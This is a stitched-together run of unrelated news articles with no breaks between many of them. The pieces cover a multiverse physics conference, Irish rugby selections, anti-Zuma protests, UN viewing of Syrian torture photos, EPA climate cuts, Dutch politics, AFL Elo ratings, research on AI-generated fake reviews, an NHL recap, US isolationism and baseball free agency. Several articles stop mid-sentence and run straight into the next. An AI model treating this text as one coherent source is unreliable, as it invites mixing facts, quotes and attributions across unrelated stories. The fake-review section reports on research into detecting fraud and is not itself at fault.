Along with string theory and many-worlds quantum mechanics, a third motivation for taking the multiverse seriously comes from current ideas on Big Bang inflation. In a version known as “eternal inflation,” there are endless, ongoing big bangs breaking off from an underlying substrate of inflating space-time. Each one produces its own separate cosmos.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/David-Albert.jpg" url_large="" alt="David Albert" caption="Philosopher David Albert discussing the "many worlds" interpretation of quantum mechanics — in which the universe divides or "branches" over and over again into many separate universes, to fulfill every quantum possibility open to every particle." credits="Dan Falk" width="" height="" align="right"]However, it's not at all clear how these different kinds of multiverses – grounded in quite different physical theories – may be related to one another. Still, the fact that three different lines of reasoning, all rooted in modern physics, seem to be pointing the same way makes some feel there must be a connection. “My gut feeling is that these multiverses have to be related,” said Mersini-Houghton.
David Albert, a former physicist who now teaches philosophy at Columbia Universiy, says he has more confidence in the Everett many-worlds interpretation of quantum mechanics than in the landscape of string theory. “In the Everett case, at least we have a clear formulation of what the claim is,” he said. “In these other views, the talk is still at a stage that’s much more amorphous…. This kind of meeting is a useful way to begin to sit down and think through those questions more clearly.”
With fewer than 20 scientists taking part in the conference, the talks often gave way to lively debate, with audience members challenging speakers on specific points or calling for more detail or clarification.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Hilary-Greaves.jpg" url_large="" alt="Hilary Greaves" caption="Philosopher Hilary Greaves discussed problems with the many-worlds interpretation of quantum mechanics, one of several scenarios that support the idea of a multiverse." credits="Dan Falk" width="" height="" align="right"]Albert was not the only philosopher at the meeting. One of the most interesting presentations was given by Hilary Greaves of Oxford, who discussed philosophical problems with many-worlds quantum theory. (In a nutshell: Conventional quantum theory gives the probability that each micro-event will happen, but offers no clue as to why it actually does or doesn't, leaving spooky conundrums. In the many-worlds view, every possible outcome happens with 100% probability, somewhere among the alternative universes, leaving no spookiness but giving no explanation of where these universes are. Each interpretation matches the real world equally well; you just choose which paradox to accept.)
Greaves is concerned that in the many worlds view, the probabilities have "disappeared," a notion which is hard to reconcile with traditional approaches to quantum theory. She and her colleagues have developed a particular strategy for tackling the many-worlds question, based on a field of mathematics known as “decision theory.” Her talk clearly gave the physicists in the audience much to think about.
Many scientists look down on philosophy as mere question-posing and guesswork. But philosophy seems impossible to avoid when discussing certain problems in physics, especially those dealing with fundamental aspects of reality, such as cosmology and particle physics. In his entertaining talk, Davies referred to the old Hindu story of the Earth resting on the backs of four elephants, which in turn stand on a giant turtle. One is then faced with the question of what the turtle stands on. Perhaps there is some kind of ultimate explanation down below, a Prime Cause – some kind of “super-turtle” that brings the chain of explanation to an end.
For many physicists, Davies said, the laws of physics themselves have served as such an explanation. But this view becomes problematic if the laws themselves change over time, or vary from region to region. Alternatively, there may simply be no ultimate explanation, he suggested, in which case one must accept an infinite regression of causes "turtles all the way down.”
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Davies-and-turtles.jpg" url_large="" alt="An infinite regression of causes
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that kicked off the Six Nations-clinching win in Paris.
Player welfare
Ireland’s player welfare programme makes this a more feasible proposition than is the case for Saint-André and les bleus, where player welfare is entirely at the mercy of the all powerful French clubs who are inundated with imported players. Just look at French and European club champions Toulon who will supply only Mathieu Bastareaud and, at a push, Maxime Mermoz, to the French team.
Of course, one change has already been forced on Schmidt, namely at 13 due to the retirement of you-know-who. It would seem remarkable that Ireland might boldly go where no Irish team with Brian O’Driscoll had ever gone before, and all the more so were that to include Paul O’Connell as well. Even Superman’s powers will be stretched by then given he will be 10 days away from his 36th birthday when Ireland play France, but his presence still seems invaluable. Irish and Munster packs simply play better when he is in their midst.
Similarly, Cian Healy, Rory Best and Mike Ross still appear a frontrow set in stone at this far remove, even if there is more cover for the first two. By contrast, it will be interesting to see if Tadgh Furlong can increase his workload and experience over the next few months, including in the November Tests, and emerge as a contender, if even as cover, at tighthead.
Devin Toner’s aerial skills have become invaluable, all the more so with his vastly improved and more effective workrate, and while Iain Henderson is in a race against time to be fit for the Six Nations it will be a surprise if such a huge talent misses out altogether.
One of the players of the 2011 tournament, across the board, Seán O’Brien will strengthen Ireland’s ball carrying potency and while Peter O’Mahony is sure to remind us of the intensity he brings to almost any game, the one winner from the Argentina tour was Rhys Ruddock. Slightly younger and bigger, Ruddock will continue to throw down the gauntlet for that number six jersey.
Murray and Sexton
Compensating for the retirement of Ireland’s greatest ever rugby player is the emergence of Conor Murray and Johnny Sexton. Each has still some way to go to emulate the body of work put together by, say, Peter Stringer and Ronan O’Gara, but they have the ability to become Ireland’s best halfbacks.
Heaven help Schmidt and Ireland, however, if either, and especially Sexton, is injured given Eoin Reddan has vastly more experience than any of Sexton’s putative young understudies – Paddy Jackson, Ian Madigan, JJ Hanrahan et al.
The summer tour proved a missed opportunity for Robbie Henshaw and, by extension, Schmidt, and so the midfield permutations are almost endless. The now naturalised Jared Payne and Henshaw are the leading candidates at 13, and while the summer tour looked like a backward step for him, Luke Marshall will remain in the frame.
However, Stuart Olding, capped on the 2013 tour, could be the bolter in the backs a la Furlong, and likewise it will be interesting to see what kind of opportunity is afforded him in the November window. The permutations will become even greater if Gordon D’Arcy reverts to outside centre, which is not beyond the bounds of possibility.
Among the plethora of missing wingers last season, Tommy Bowe looks more what Schmidt wants in an all-action winger than Simon Zebo. The re-born Andrew Trimble will be hard to shift on last season’s form and, as with Sexton, O’Connell and co, Rob Kearney is more simply irreplaceable than most.
Gerry Thornley’s Starting XV v France - IRELAND: Rob Kearney; Tommy Bowe, Gordon D’Arcy, Stuart Olding, Andrew Trimble; Johnny Sexton, Conor Murray; Cian Healy, Rory best, Mike Ross, Devin Toner, Paul O’Connell (capt), Peter O’Mahony, Sean O’Brien, Jamie Heaslip. Replacements: Jack Mcgrath, Sean Cronin, Tadgh Furlong, Iain Henderson, Rhys Ruddock, Eoin Reddan, Ian Madigan, Dave Kearney.
Gavin Cummiskey’s Starting XV v France
Presuming an injury free miracle, Joe Schmidt’s two major conundrums are his midfield pairing and whether the thirty-somethings avoid the black lights. Stalwarts like Gordon D’Arcy, Mike Ross and Paul O’Connell will be 35 when the tournament commences.
The rightful heir to the 13 throne is not Jared Payne, nor is it Robbie Henshaw. Come in from the cold Luke Fitzgerald, your time is now.
Devin Toner and Donnacha Ryan miss out as Iain Henderson begins his ascent towards Mal O’Kelly peaks. Jack McGrath at tighthead requires some imagining but what if it worked? What if he rumbled into battle alongside Cian Healy? What dreams may come after that. IRELAND: Rob Kearney; Tommy Bowe, Luke Fitzgerald, Luke Marshall, Simon Zebo; Jonathan Sexton, Conor Murray; Cian Healy, Rory Best, Jack McGrath, Iain Henderson, Paul O’Connell, Peter O’Mahony, Sean O’Brien, Jamie Heaslip.
John O’Sullivan’s Starting XV v France
Luke Fitzgerald would start for me if he was guaranteed to be fit. Jared Payne is unlucky, so too Robbie Henshaw, Andrew Trimble, Dave Kearney and Ian Madigan, all with strong claims to make the run-on team. Simon Zebo has the X-factor.
The pack also offers a litany of close calls; Richardt Strauss, Sean Cronin, Jack McGrath, Iain Henderson, Rhys Ruddock, Chris Henry and bolters in Tadgh Furlong and CJ Stander. I’d go for Peter O’Mahony as an openside flanker.
Ireland coach Joe Schmidt possesses the playing resources to be flexible in his approach depending on the opposition without deviating from his core values. The bench would afford a proper impact.
IRELAND: Rob Kearney; Tommy Bowe, Gordon D’Arcy, Stuart Olding, Craig Gilroy; Jonathan Sexton, Conor Murray; Cian Healy, Rory Best, Martin Moore; Paul O’Connell, Devin Toner; Sean O’Brien, Peter O’Mahony, Jamie Heaslip.PRETORIA/JOHANNESBURG (Reuters) - More than 30,000 people marched in South Africa’s capital Pretoria on Wednesday calling on President Jacob Zuma to quit, keeping up pressure from the streets on the leader over his handling of the struggling economy.
The protesters marched through the city and held a rally at a field outside the Union Buildings, the site of Zuma’s offices.
Zuma, who turned 75 on Wednesday, has survived previous protests. But the main opposition party Democratic Alliance (DA) and other parties behind the protest believe they can drum up support to force Zuma out of office following his dismissal of respected Finance Minister Pravin Gordhan in a cabinet reshuffle.
South Africa’s economy has grown lethargically over the last six years and the jobless rate stands near record levels. Analysts say the political crisis is making it hard to reform the economy, improve social services and fight crime.
The ruling African National Congress (ANC) party has rejected calls for Zuma to step down. He has denied repeated allegations of corruption since winning power in 2009. More than 60,000 people marched on Friday calling for him to quit.
The ultra-left Economic Freedom Fighters and other parties took part in Wednesday’s protest, dubbed “National Day of Action”.
“He is misusing state money,” said 21-year-old student and Pretoria resident Thomas Monyoko wearing a red EFF T-shirt.
“Let the message be clear today that Zuma is no longer a credible president of South Africa,” Economic Freedom Fighters leader Julius Malema said. “We don’t care whether you are white, whether you are Indian, whether you are black, we are here to defend the future of our children.”
Zuma had accused Friday’s marchers of having racist motives. Like Friday, a mixed racial profile of people attended Wednesday’s rallies but there were less white people.
Patricia Maguire, a white 40-year-old risk analyst who also took part in Friday’s protest, held a sign saying: “Recall The Wrecking Ball,” referring to Zuma.
“I don’t think this is a party thing, it is a governance issue. I can’t see how anyone cannot see that he is critically destructive,” said Maguire, who said she had no party affiliation.
In another development, parliament said a motion of no-confidence in Zuma called by the opposition had been postponed until a court decided whether the vote should be taken by secret ballot.
President Jacob Zuma addresses crowds gathered to celebrate his 75th birthday in Kliptown, Johannesburg, South Africa, April 12, 2017. REUTERS/James Oatway
Opposition parties requested the delay. The parties have said the vote could have a chance of success if it is held by secret ballot, but the ANC has said it will vote against it.
ZUMA’S BIRTHDAY
Zuma’s office said he was expected to hold a cabinet meeting to discuss the economic situation after Fitch and S&P Global Ratings last week downgraded South Africa to “junk”, citing Gordhan’s dismissal as one reason.
Zuma meanwhile sang, danced and cracked jokes at his 75th birthday celebrations held in Soweto township, near the commercial hub of Johannesburg.
Thousands gathered under a large tent, while others outside made merry, some performing the high-stepping “toyi toyi” dance as pro-Zuma and anti-apartheid tunes blasted from huge speakers.
“I’m not worried when people call me names. I’ve been called names for years,” said a jovial Zuma, speaking in the Zulu language. “The opposition are doing their job, which is to oppose, don’t be worried,” he told supporters.
Wrapping up his speech, Zuma said: “If tomorrow you (ANC) say that I should step down, I will do so with a pure heart.”
Rachel Mokgatshwane, 73, said she was there to support Zuma and wish him a happy birthday.
“We get our welfare payouts in time. I don’t complain,” she said.
Another ANC supporter, Patrick Nyende, 54, said: “We don’t see any reason for him to step down. None.”
The rand climbed to a one-week high on Wednesday, in part encouraged by comments from the new finance minister indicating no significant change in policy.
Finance Minister Malusi Gigaba has sought to reassure investors since Gordhan was sacked.
Slideshow (16 Images)
Nomura analyst Peter Attard Montalto said: “There is a general question about where South Africa is going.”
But he added “The probability of Zuma’s exit is low at just 20 percent.”Forensic pathologist Dr. Stuart Hamilton gives a report Tuesday on the allegations of torture in Syria at the United Nations in New York City. About 55,000 pictures were taken of victims during the Syrian civil war, which has claimed the lives of about 150,000 people. (Photo11: Michael Loccisano Getty Images)
UNITED NATIONS (AP) - The U.N. Security Council fell silent Tuesday after ambassadors viewed a series of ghastly photographs of dead Syrian civil war victims, France's ambassador said. The pictures showed people who were emaciated, with their bones protruding, and some bearing the marks of strangulation and repeated beatings, and eyes having been gouged out.
French Ambassador Gerard Araud said the pall of silence lingered, and then questions slowly began about the credibility of the slides of the dead, who offer mute testimony to the savagery of a Syrian civil war in which more than 150,000 have died.
The council members were shown more than the 10 photos publicly released in January as part of a forensic investigation funded by the government of Qatar - a major backer of the opposition and one of the nations most deeply involved in the Syrian conflict. France, which hosted the presentation at the Security Council and a showing of the images afterward at a news conference, said they are evidence of war crimes by the government of Syrian President Bashar Assad.
The veracity of the photos could not be independently confirmed.
Syria's Justice Ministry has dismissed the photos and accompanying report as "politicized and lacking objectiveness and professionalism," a "gathering of images of unidentified people, some of whom have turned out to be foreigners."
The ministry said some of the people were militants killed in battle and others were killed by militant groups.
Among the new photos was an image of at least a dozen bodies laid out on the floor of a warehouse, being wrapping in plastic sheets with men in military garb standing among them.
One of the authors of the report, former Sierra Leone Special Court prosecutor David M. Crane, said it was firm evidence of "industrialized systematic killing."
"Bodies in, bodies out. It was a very systematic processing of human beings. They were laid out in a parking lot because there were too many to put into the morgue," Crane said,
"They died in agony over months of starvation and torture, and then almost mercifully were executed," Crane said. "Doesn't this bring back some interesting images from Dachau, and Auschwitz, and Bergen-Belsen?" Crane observed, sitting in front of the grisly procession of photos projected behind him in a U.N. news conference.
"The gruesome images of corpses bearing marks of starvation, strangulation and beatings and today's chilling briefing indicate that the Assad regime has carried out systematic, widespread and industrial killing. Nobody who sees these images will ever be the same," U.S. Ambassador Samantha Power said.
The photos were selected from among 55,000 images of tortured and slain Syrian war victims said to have been smuggled out of Syria.
The faces and genitals of victims were blurred in the photos "as a legal and ethical matter to protect the decency of the victims" and so that relatives of the dead would not recognize the bodies and learn of their murder through a news conference, said forensic pathologist Dr. Stuart J. Hamilton. Identification numbers for the bodies were also blurred or blacked out, as were identifying marks on the bodies such birthmarks, scars or tattoos.
Read or Share this story: http://usat.ly/1kuF9Q0Over the last several decades, top government officials and even military brass have come to view climate change as a national security issue. Under President Barack Obama, the notion was codified through recognition of the link by the Department of Homeland Security, the Defense Department, the State Department, and the National Intelligence Council. Now, President Donald Trump, with nearly all the government’s climate change work in his crosshairs, is poised to dramatically scale back environmental security programs — perhaps eliminating many entirely — through dramatic budget cuts.
Many of these programs help cities cope with water emergencies. In the aftermath of Hurricane Katrina in 2005, one microbiologist interviewed by ABC News sampled floodwaters in New Orleans and found bacteria linked to sewage at 45,000 times the level considered safe for swimming. Seven years later, Hurricane Sandy inundated East Coast water treatment plants to the point of overflow, releasing a total of 10.9 billion gallons of sewage into waterways and streets along the mid-Atlantic coast. In places like Camden, New Jersey, an economically depressed, mostly black and Latino community with an outdated sewer system, the risk of contaminated water is more routine: Sewage flows into the streets amid hard rains.
At the federal level, the task of helping cities like New Orleans and Camden deal with these water crises falls in part to Homeland Security. It’s not one of the department’s flashiest mandates, but the work, in partnership with the Environmental Protection Agency, helps to secure public health by stopping toilet water from entering streets, homes, and waterways during extreme weather events.
“If you’re going to have catastrophic flooding that threatens public health, then that’s something we need to look at,” said Alice Hill, a fellow at the Hoover Institution and an architect of the Department of Homeland Security’s early efforts at addressing climate change under Obama. “To the extent you see chronic seepage of wastewater endangering routinely the health of American citizens, that’s something Homeland Security will worry about.”
The Trump administration, however, has focused on security in purely military and law enforcement terms, whether through $54 billion in new Defense Department spending or increased funding for immigration enforcement and border protection. Those efforts are likely to come at the expense of environmental security. Despite his defense chief James Mattis’s public statements endorsing the links, Trump already issued an order canceling Obama’s push to consider climate change in national security planning. And Trump’s budget outline portends even more drastic moves away from protecting the nation against climate-related threats.
Among the most draconian proposed cuts, the EPA stands to have about a third of its budget eliminated. EPA programs targeted for wholesale cuts include those designed to protect critical water infrastructure from terror attacks, accidents, pandemics, and extreme weather caused by climate change. A March 21 itemized 2018 EPA budget proposal, first released by the Washington Post, suggested eliminating EPA’s $7.7 million “critical infrastructure protection” program. Although the budget is expected to change dramatically as Congress weighs in, the draft version provides an insight into Trump’s conception of security.
The EPA’s homeland security efforts provide tools to help water utilities determine risks and plan for catastrophe — whether it be an accident that introduces a contaminant into drinking water, a terrorist attempt to access some of the massive volumes of chemicals utilities use to clean the water, or flooding extensive enough to bring down drinking and wastewater facilities.
Camden, where the threat from rain seems ever more immediate than a terrorist attack, hosted a pilot program for one of the EPA’s critical infrastructure projects. According to Andy Kricun, head of the Camden County Municipal Utilities Authority, officials sped up flood prevention efforts after an EPA projection suggested a rapid rise in the Delaware River, according to data local water managers received from the EPA. The EPA helped the city draw up plans to deal with the issue through updating treatment plants, building a sea wall, and installing rain gardens that absorb millions of gallons of stormwater. Kricun said flooding has been reduced as a result.
Alan Roberson, who runs the Association of State Drinking Water Administrators, does not see the project as a climate-specific program. “The EPA branded it with climate under Obama because that fit the administration,” he said, adding that water managers are interested in protecting the water, period. “From my point of view, it doesn’t matter if your pump station is hit by a tornado or loses power from an ice storm or someone puts a bomb on it … the end result is the same.”
Yet the climate change-related branding that helped advance the project under Obama has made it a target under the Trump administration. As White House budget director Mick Mulvaney put it, “Regarding the question as to climate change, I think the president was fairly straightforward — we’re not spending money on that anymore. We consider that to be a waste of your money.” In early April, the EPA closed its climate adaptation program, reassigning four staffers. And the March budget memo would slash 224 jobs focused on climate protection.
Trump has proposed boosting funding for the Department of Homeland Security overall, but none of that money would make up for the proposed EPA cuts. In fact, the proposed DHS budget would reportedly pay for increased border enforcement in part by reducing the budget of another federal agency that helps deal with climate change fallout, the Federal Emergency Management Agency, by 11 percent.
Funding for the EPA’s office of civil enforcement would be slashed by 37 percent, according to the March memo. Consent decrees originating in the office have been key to forcing communities to update their sewer systems, protecting residents from floods of sewage that will worsen with climate change. Roberson, of the drinking water association, pointed to a proposed 30 percent cut to public water system supervision grants, which help local agencies pay for public inspectors. Roberson said the cut “would be devastating.”
Asked to comment, and EPA spokesperson replied, “EPA is evaluating different approaches to implementing the president’s budget that would allow us to effectively serve the taxpayers and protect the environment. While many in Washington insist on greater spending, EPA is focused on greater value and results. The EPA will partner with the states to ensure a thoughtful approach is used to maximize every dollar to protect our air, land, and water.”
When it comes to the climate, the Camden Utilities Authority’s Kricun argued that focusing on the idea of climate change misses the point. “Our current infrastructure is inadequate to the way the climate is now,” he said.
It’s a perspective that surely resonates in Camden, where environmental-related human security is already a major worry today. But with the Delaware River rising thanks to climate change, and without effective climate adaptation efforts, the city’s problems will only worsen. Instead of helping cities beef up their efforts, the Trump administration is withdrawing a lifeline.Thierry Baudet, leader of the anti-establishment Forum for Democracy, believes he will hold all the cards when the country votes in March's general election. The 34-year-old has swept into the public consciousness in the past year, off a wave of anti-establishment sentiment and his calls for a more direct democracy. If, as he predicts, his minority party wins enough parliamentary seats, he will be in a position to form a coalition with the Party for Freedom, led by the controversial Geert Wilders. Mr Wilders has been called the "Dutch Trump", a right-wing firebrand whose inflammatory anti-Islamic rhetoric echoes that of the new US President.
GETTY Thierry Baudet could become 'kingmaker
But his populist stance has nevertheless propelled his party to the top of the opinion polls, in a country widely regarded as one of the most progressive and tolerant in Europe. Mr Wilders is unlikely to garner enough votes to form a government outright, and will need to negotiate a coalition if he is to take power. None of the main opposition parties are willing to team up with the Freedom Party - but Mr Baudet is. Mr Baudet, a journalist and former university professor, told the Sunday Times he did not agree with Mr Wilders extremist policies on Islam, which include banning the Koran and closing mosques.
REX Baudet and journalist Jan Roos petitioning for the referendum on the EU Ukraine TreatyWe’ve used our Elo ratings system to rate each team before and after every AFL game, resulting in over 10 000 ratings in total, and now you can explore the full history of AFL team ratings using the graph below. The graph covers the AFL era, which began in 1990.
The graph is interactive. You can choose your favourite team from the drop-down menu and drag to select a period of time you’re particularly interested in. If you hover your mouse over individual games, you can see the team’s rating after each game they played. All the other teams are shown in grey and you can hover over those lines to see more information as well.
Choose a team Adelaide Brisbane Carlton Collingwood Essendon Fitzroy Fremantle Gold Coast Geelong GWS Giants Hawthorn North Melbourne Melbourne Port Adelaide Richmond St Kilda Sydney Western Bulldogs West Coast
Read more: How our ratings work | 2017 ratings and projections | Tips for upcoming games
Elo ratings are a simple but powerful team way of comparing teams’ strength over time. At its core, the system is quite simple. Before each game, we calculate an expected result, based on each team’s pre-game rating and the size of the home-ground advantage. After the game, teams’ ratings rise if they did better than expected and fall if they did worse. The average rating is 1500 and higher ratings are better.
More stories using our Elo ratings:
Thanks to FiveThirtyEight for the obvious inspiration.When Hillary Clinton’s new book What Happened debuted on Amazon’s Web site last month, the response was incredible. So incredible, that of the 1,600 reviews posted on the book’s Amazon page in just a few hours, the company soon deleted 900 it suspected of being bogus: written by people who said they loved or hated the book, but had neither purchased nor likely even read it. Fake product reviews—prompted by payola or more nefarious motives—are nothing new, but they are set to become a bigger problem as tricksters find new ways of automating online misinformation campaigns launched to sway public opinion.
Amazon has deleted nearly 1,200 reviews of What Happened since it debuted on September 12, according to ReviewMeta, a watchdog site that analyzes consumer feedback for products sold on Amazon.com. ReviewMeta gained some notoriety last year when, after evaluating seven million appraisals across Amazon, it called out the online retailer for allowing “incentivized” reviews by people paid to write five-star product endorsements. Amazon later revised its Community Guidelines to ban incentivized reviews.
Amazon’s deletions of so many appraisals for Clinton’s book caught ReviewMeta’s attention. The site gathers publicly available data on Amazon, including the number of stars a product receives, whether the writer is a verified buyer of the product and how active that person is on the site. Tommy Noonan, a programmer who founded ReviewMeta in May 2016, refrains from calling these reviews “fake,” given how politically loaded that term has become in the past year. Noonan prefers the term “unnatural.”
“There is no way to say with 100 percent certainty that a particular review is fake,” he explains. Fortunately, only a handful of items sold on Amazon’s site have had review integrity problems comparable with What Happened. And those items were “mostly Clinton books—although there was also a problem with a [Donald] Trump Christmas ornament” that received an unusually large number of negative critiques, Noonan adds.
AI to the Rescue?
It is not as it easy as it might sound to churn out enough deceptive reviews to influence a product or service’s reputation on Amazon, Yelp or any other commerce site that relies heavily on consumer appraisals. Unlike fake news stories that someone writes and then tries to spread virally through social media, artificial reviews work only if they are manufactured in volume and posted to sites where a particular item is sold or advertised. They also need to be reasonably believable—although proper spelling and punctuation seem to be optional.
A group of University of Chicago researchers is investigating whether artificial intelligence could be used to automatically crank out bulk reviews that are convincing enough to be effective. Their latest experiment involved developing AI-based methods to generate phony Yelp restaurant evaluations. (Yelp is a popular crowdsourced Web site that has posted more than 135 million reviews covering about 2.8 million businesses since launching in July 2004). The researchers used a machine-learning technique known as deep learning to analyze letter and word patterns used in millions of existing Yelp reviews. Deep learning requires an enormous amount of computation and entails feeding vast data sets into large networks of simulated artificial “neurons” based loosely on the neural structure of the human brain. The Chicago team’s artificial neural network generated its own restaurant critiques—some with sophisticated word usage patterns that made for realistic appraisals and others that would seem easy to spot, thanks to repeated words and phrases.
But when the researchers tested their AI-generated reviews, they found that Yelp’s filtering software—which also relies on machine-learning algorithms—had difficulty spotting many of the fakes. Human test subjects asked to evaluate authentic and automated appraisals were unable to distinguish between the two. When asked to rate whether a particular review was “useful,” the humans respondents replied in the affirmative to AI-generated versions nearly as often as real ones.
“We have validated the danger of someone using AI to create fake accounts that are good enough to fool current countermeasures,” says Ben Zhao, a Chicago professor of computer science who will present the research with his colleagues next month at the ACM Conference on Computer and Communications Security in Dallas. Like Yelp, Amazon and other Web sites use filtering software to detect suspicious reviews. This software is based on machine-learning techniques similar to those the researchers developed to write their bogus evaluations. Some filtering software tracks and analyzes data about reviewers such as their computers’ identifying internet protocol (IP) addresses or how often they post. Other defensive programs examine text for recurring words as well as phrases that may have been plagiarized from other Web sites.
The researchers are not aware of any evidence AI is currently being used to game the online review system, Zhao says—but if misinformation campaigners do turn to AI, he warns, “it basically [becomes] an arms race between attacker and defender to see who can develop more sophisticated algorithms and better artificial neural networks to either generate or detect fake reviews.” For that reason, Zhao’s team is now developing algorithms that could be used as a countermeasure to detect fake reviews—similar to the ones they created. The ability to build an effective defense requires knowing a neural network’s limitations. For example, if it is designed to focus on creating content with correct grammar and vocabulary, it is more likely to overlook the fact that it is using the same words and phrases over and over. “But [searching for such flaws] is just a short-term fix because more powerful hardware and larger data for training means that future AI models will be able to capture all these properties and be truly indistinguishable from human-authored content,” Zhao says.
“Crowdturfing”
As AI matures it is not a stretch to suppose it will be used to corrupt online review systems that so many people turn to before opening their wallets. But for now a more common and human-based approach to generating large numbers of fake critiques—such as those for Clinton’s book—is called “crowdturfing.” In general, crowdturfing marketplaces offer payment to people willing to help attack review systems, social media and search engines. These efforts work like an “evil Mechanical Turk,” Zhao says. Amazon created a site called Mechanical Turk in 2005 to enable the crowdsourcing of work via the internet—whether for a company that pays random Web surfers to weigh in on a new logo design or a researcher who is conducting a social science experiment.
In crowdturfing online reviews, an attacker creates a project on the Mechanical Turk site and offers to pay large numbers of people to set up accounts on Amazon, Yelp, TripAdvisor or other sites and to then post reviews intended to either raise or sink a product or service’s money-making prospects. “[A company] can pay workers small amounts to write negative online reviews for a competing business, often fabricating stories of bad experiences or service,” Zhao says. Crowdturfing has become a growing problem in China, India and the U.S. but is often limited by the amount of money a person has available to get others to do the dirty work, he adds.
Automating Fake News
In anticipation of automated misinformation technology maturing to the point where it can consistently produce convincing news articles, Zhao and his colleagues are considering fake news detection as a future direction for their research. Programs already exist to automatically generate essays and scientific papers, but a careful human read usually reveals them to be nonsensical, says Filippo Menczer, a professor of informatics and computer science at the Indiana University School of Informatics and Computing.
Articles intended purely to spread falsehoods and misinformation are currently written by humans because they need to come off as authentic in order to go viral online, says Menczer, who was not involved in the Chicago research. “That is something that a machine is not capable of doing with today’s technology,” he says. “Still, skilled AI scientists putting their effort into this not-so-noble task could probably create credible articles that spread half-truths and leverage people’s fears.”PHILADELPHIA - Shane Doan tied the Phoenix Coyotes' franchise record for games played, then untied a game in overtime to keep his team streaking.
Photos from the game | Box score
The Phoenix captain scored an overtime power-play goal to lift the Coyotes to a 3-2 win over the Philadelphia Flyers, their eighth straight victory.
Doan slapped a shot through traffic and past Sergei Bobrovsky at 2:41 of an overtime that was forced when Claude Giroux tied the game with 1:13 left in regulation. The win kept the Pacific Division-leading Coyotes one point ahead of the San Jose Sharks, who beat the Detroit Red Wings, 4-3.
Phoenix remains in third place overall in the Western Conference.
''We obviously took advantage of a couple of bounces," Doan said. ''It was a big two points for us. Anytime we come to this building, you know it going to be a tough game and we found a way."
Doan played in his 1,098th game with the Winnipeg/Phoenix franchise, tying him with Teppo Numminen for first on the all-time list. Barring injury, he'll break the club mark on Wednesday in Tampa Bay.
Taylor Pyatt put Phoenix up 2-1 with 9:30 left in the third, with a shot that somehow eluded Bobrovsky. He took the puck down the left side and fired from just in front of the blue line. Bobrovsky appeared to have the puck lined up, but it took a bad hop off his skate and flipped over his leg.
The Flyers lost for just the third time in nine games and fell to 16-6 since New Year's Day. They still lead Tampa Bay by eight points in the race for the East's No. 1 seed.
At 2:44 of the third, Eric Belanger beat Bobrovsky in front of the net, taking a pass from Mikkel Boedker, who had put a move on Kimmo Timonen down the right side. Belanger scored his second goal in three games to tie it at 1-1.
Ville Leino opened the scoring with a first-period goal for the Flyers, who lost for only the second time when leading after two periods. He skated across the center of the ice as Matt Carle fired from the top of the left faceoff circle. Reaching across his body with his stick, he deflected the puck off Sami Lepisto's skate and by goalie Ilya Bryzgalov.
Giroux went top shelf late in the third to force the overtime, roofing his own rebound in front of Bryzgalov as he fell forward.
''I didn't have time to regroup myself right away for the second shot," Bryzgalov said. ''He shot it right away off the rebound."
Bryzgalov stopped 37 shots in his matchup against fellow Russian Bobrovsky, who turned away 26. Bryzgalov has started 19 consecutive games and has stopped 227 of 240 shots during the eight-game winning streak, for a.945 save percentage. Six of the wins have been by one goal, and four were by the score of 3-2.
The home game was Kris Versteeg's first since being acquired from the Toronto Maple Leafs on Valentine's Day. Flyers fans, of course, remember the right wing celebrating on the Wells Fargo Center ice after his Chicago Blackhawks won the Stanley Cup last June. The Blackhawks dealt him to Toronto over the summer, and the Leafs sent him to Philadelphia last week for first- and third-round draft picks.
Playing on a line with Mike Richards and James van Riemsdyk, as he adjusts to coach Peter Laviolette's system, the 24-year-old has one goal - an empty netter against the Rangers - and one assist in five games with the Flyers.
Philadelphia played without defenseman Sean O'Donnell, who could miss up two weeks with a left knee injury suffered on Sunday against the Rangers, according to general manager Paul Holmgren. They may have also lost defenseman Oskars Bartulis, who left the game with a shoulder injury after a hit by Scottie Upshall, a former Flyer. The hit resulted in a boarding penalty.
Bartulis will have an MRI on Wednesday.
''Oskars was standing there minding his own business," Holmgren said. ''It was a late hit. I have a little bit of a problem with it, yeah. It's not really like Scotty to do that."
Upshall defended himself.
''I was just going hard to the net," he said. ''I didn't intentionally go to hit him, let alone hit him into the boards. You know what? I've been off balance before where you can't find your footing and you try to plant. It was a play that is usually a routine shoulder-to-shoulder kind of play going hard to the net. I hope he's all right. Those plays happen a lot when it's just guys standing up to each other."
Phoenix came back to erase a second-intermission deficit for the sixth time this season, tying Dallas for the second-most, third-period comebacks in the league.
''It's fun," Doan said. ''We challenge ourselves so much. (Bryzgalov) was phenomenal again. When you have someone like him playing in net, you always feel like you have a chance, no matter how you're playing. (That said), we've got a lot of room to improve. We're not happy with the way that one finished, with them getting the extra point. But (we won)."
Despite a frenetic attack, the Flyers managed to get a point only because of Giroux's second effort. It was his 21st goal.
''I'm happy with the way he's playing," Laviolette said. ''He was terrific. I think we fired 75 to 80 shots on the net. It was just one of those nights where it didn't seem to go in. We felt like we earned two points and were lucky to get one."
The Coyotes will take their two points, to be sure. And now, they streak down to Florida, where they'll meet another Eastern Conference elite team, the Lightning.
''We want to make sure we continue to get better every game," Coyotes coach Dave Tippett said. ''When you have good wins like this, you take the positives out of it, but there's still a lot of things we have to get better with. Our group's a pretty good group. They're working pretty hard, and we're finding ways to win."Seemingly everyone in Washington is being characterized as an isolationist. That the word has apparently become such a slur is revealing, largely because most of those accused of "isolationism" appear to be anything but. Aside from Ron Paul, who has unashamedly called for ending America's military engagements, disbanding NATO, pulling out of the United Nations, and slashing "hundreds of billions" out of the "military-industrial complex," it's next to impossible to find a single prominent U.S. politician who is calling for the country to reduce its preeminent role on the world stage.
No major political figure and certainly no presidential aspirant is calling for the U.S. to end its membership NATO or other international institutions; none are suggesting that the U.S. bring troops home from East Asia
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anti-trust actions were not a threat to baseball, which has long been exempt from anti-trust laws, that sport's reserve clause was struck down by a United States arbitrator as a violation of labor laws.
By the 1990s most players with several years' professional experience became free agents upon the expiry of their contracts and were free to negotiate a new contract with their previous team or with any other team. This situation, called Restricted Free Agency, led to "bidding wars" for the best players—a situation which inherently gave an advantage in landing such players to more affluent teams in larger media markets.
In North American leagues [ edit ]
